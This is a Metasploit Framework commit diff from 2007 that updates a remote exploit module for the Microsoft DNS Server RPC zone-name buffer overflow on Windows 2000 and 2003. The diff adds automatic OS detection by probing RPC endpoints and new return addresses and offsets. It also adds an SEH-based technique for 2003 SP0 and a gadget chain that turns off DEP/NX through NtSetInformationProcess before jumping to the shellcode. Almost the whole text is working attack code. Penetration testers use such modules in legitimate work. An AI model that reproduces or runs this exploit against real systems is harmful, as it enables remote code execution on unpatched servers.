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metasploit-framework
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New codes :) 

git-svn-id: file:///home/svn/framework3/trunk@4710 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2007-04-19 17:43:30 +00:00
parent 80460af77e
commit 6896272645
1 changed files with 118 additions and 32 deletions
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142
modules/exploits/windows/dcerpc/msdns_zonename.rb
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@ -30,7 +30,11 @@ class Exploits::Windows::Dcerpc::Microsoft_DNS_RPC_ZoneName < Msf::Exploit::Remo
enabled.
},
'Author' => [ 'hdm' ],
'Author' =>
[
'hdm', # initial module
'anonymous' # 2 anonymous contributors (2003 support)
],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
@ -45,7 +49,7 @@ class Exploits::Windows::Dcerpc::Microsoft_DNS_RPC_ZoneName < Msf::Exploit::Remo
},
'Payload' =>
{
'Space' => 1024,
'Space' => 500,
# The payload doesn't matter, but make_nops() uses these too
'BadChars' => "\x00",
@ -56,25 +60,16 @@ class Exploits::Windows::Dcerpc::Microsoft_DNS_RPC_ZoneName < Msf::Exploit::Remo
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 SP0-SP4 / Windows 2003 SP0-SP2 English',
{
'Addresses' => # Offsets must not overlap -4 or +9
[
[ 1213, 0x75022ac4 ], # Windows 2000 SP0-SP4 ws2help.dll
[ 1593, 0x7ffc0960 ], # Windows 2003 SP0 ??? (unreliable?)
[ 1633, 0x76a81a60 ], # Windows 2003 SP1-SP2 atl.dll
]
}
],
[ 'Automatic (2000 SP0-SP4, 2003 SP0, 2003 SP1-SP2)', { } ],
# WS2HELP.DLL
[ 'Windows 2000 Server SP0-SP4+ English', { 'Off' => 1213, 'Ret' => 0x75022ac4 } ],
[ 'Windows 2000 Server SP0-SP4+ English', { 'OS' => '2000', 'Off' => 1213, 'Ret' => 0x75022ac4 } ],
# Unknown, probably unreliable
[ 'Windows 2003 Server SP0 English', { 'Off' => 1593, 'Ret' => 0x7ffc0960 } ],
# Use the __except_handler3 method
[ 'Windows 2003 Server SP0 English', { 'OS' => '2003SP0', 'Off' => 1593, 'Rets' => [0x77f45a34, 0x41414144, 0x048f388e, 0x762108ed] } ],
# ATL.DLL (no SafeSEH) (still blocked by hardware DEP)
[ 'Windows 2003 Server SP1-SP2 English', { 'Off' => 1633, 'Ret' => 0x76a81a60 } ],
# ATL.DLL (bypass DEP/NX)
[ 'Windows 2003 Server SP1-SP2 English', { 'OS' => '2003SP12', 'Off' => 1633, 'IB' => 0x76a80000 } ],
],
'DisclosureDate' => 'Apr 12 2007',
@ -91,6 +86,12 @@ class Exploits::Windows::Dcerpc::Microsoft_DNS_RPC_ZoneName < Msf::Exploit::Remo
# Ask the endpoint mapper to locate the port for us
dport = datastore['RPORT'].to_i
if (dport != 0 && (target.name =~ /Automatic/))
print_status("Could not use automatic target when the remote port is given");
return
end
if (dport == 0)
dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '50abc2a4-574d-40b3-9d66-ee4fd5fba076', '5.0', 'ncacn_ip_tcp')
@ -101,6 +102,30 @@ class Exploits::Windows::Dcerpc::Microsoft_DNS_RPC_ZoneName < Msf::Exploit::Remo
end
print_status("Discovered Microsoft DNS Server RPC service on port #{dport}")
if (target.name =~ /Automatic/)
# scheduler service is only available on 2k3 SP0 and 2000
schedport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '1ff70682-0a51-30e8-076d-740be8cee98b', '1.0', 'ncacn_ip_tcp')
if (not schedport)
print_status("Detected a Windows 2003 SP1-SP2 target...")
target = targets[3]
else
# only available on 2003 SP0
schedport = dcerpc_endpoint_find_tcp(datastore['RHOST'], '0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53', '1.0', 'ncacn_ip_tcp')
if (not schedport)
print_status("Detected a Windows 2000 SP0-SP4 target...")
target = targets[1]
else
print_status("Detected a Windows 2003 SP0 target...")
target = targets[2]
end
end
else
end
end
# Connect to the high RPC port
@ -115,22 +140,83 @@ class Exploits::Windows::Dcerpc::Microsoft_DNS_RPC_ZoneName < Msf::Exploit::Remo
# Create our buffer with our shellcode first
txt = Rex::Text.rand_text_alphanumeric(8192)
txt[0, payload.encoded.length] = payload.encoded
# Handle multi-return targets
if (target['Addresses'])
target['Addresses'].each do |ent|
off, ret = ent
txt[ off ] = [ret].pack('V')
txt[ off - 4, 2] = "\xeb\x06"
txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V')
end
# Handle single-return targets
else
if (target['OS'] =~ /2000/)
txt[0, payload.encoded.length] = payload.encoded
off = target['Off']
txt[ off ] = [target.ret].pack('V')
txt[ off - 4, 2] = "\xeb\x06"
txt[ off + 4, 5] = "\xe9" + [ (off+9) * -1 ].pack('V')
elsif (target['OS'] =~ /2003SP0/)
txt[0, payload.encoded.length] = payload.encoded
off = target['Off']
txt[ off ] = [target['Rets'][0]].pack('V') # __except_handler3
txt[ off - 4, 2] = "\xeb\x16"
txt[ off + 4, 4] = [target['Rets'][1]].pack('V') # A
txt[ off + 8, 4] = [target['Rets'][2]].pack('V') # B
# addr = A + B*12 + 4 = 0x77f7e7f0 (ntdll -> 0x77f443c9)
#
# then mov eax, [addr] sets eax to 0x77f443c9 and the code goes here :
#
# 0x77f443c9 jmp off_77f7e810[edx*4] ; edx = 0 so jmp to 77f443d0
# 0x77f443d0 mov eax, [ebp+arg_0]
# 0x77f443d3 pop esi
# 0x77f443d4 pop edi
# 0x77f443d5 leave ; mov esp, ebp
# 0x77f443d6 retn ; ret
txt[ off + 16, 4] = [target['Rets'][3]].pack('V') # jmp esp
txt[ off + 20, 5] = "\xe9" + [ (off+23) * -1 ].pack('V')
elsif (target['OS'] =~ /2003SP12/)
off = target['Off']
ib = target['IB']
txt[ off ] = [ib + 0x2566].pack('V')
# to bypass NX we need to emulate the call to ZwSetInformationProcess
# with generic value (to work on SP1-SP2 + patches)
off = 445
# first we set esi to 0xed by getting the value on the stack
#
# 0x76a81da7:
# pop esi <- esi = edh
# retn
txt[ off + 4, 4 ] = [ib + 0x1da7].pack('V')
txt[ off + 28, 4] = [0xed].pack('V')
# now we set ecx to 0x7ffe0300, eax to 0xed
# 0x76a81da4:
# pop ecx <- ecx = 0x7ffe0300
# mov eax, esi <- eax == edh
# pop esi
# retn
txt[ off + 32, 4] = [ib + 0x1da4].pack('V')
txt[ off + 36, 4] = [0x7ffe0300].pack('V')
# finally we call NtSetInformationProcess (-1, 34, 0x7ffe0270, 4)
# 0x7FFE0270 is a pointer to 0x2 (os version info :-) to disable NX
# 0x76a8109c:
# call dword ptr [ecx]
txt[ off + 44, 4] = [ib + 0x109c].pack('V') # call dword ptr[ecx]
txt[ off + 52, 16] = [-1, 34, 0x7FFE0270, 4].pack('VVVV')
# we catch the second exception to go back to our shellcode, now that
# NX is disabled
off = 1013
txt[ off, 4 ] = [ib + 0x135bf].pack('V') # (jmp esp in atl.dll)
txt[ off + 24, payload.encoded.length ] = payload.encoded
end
req = ''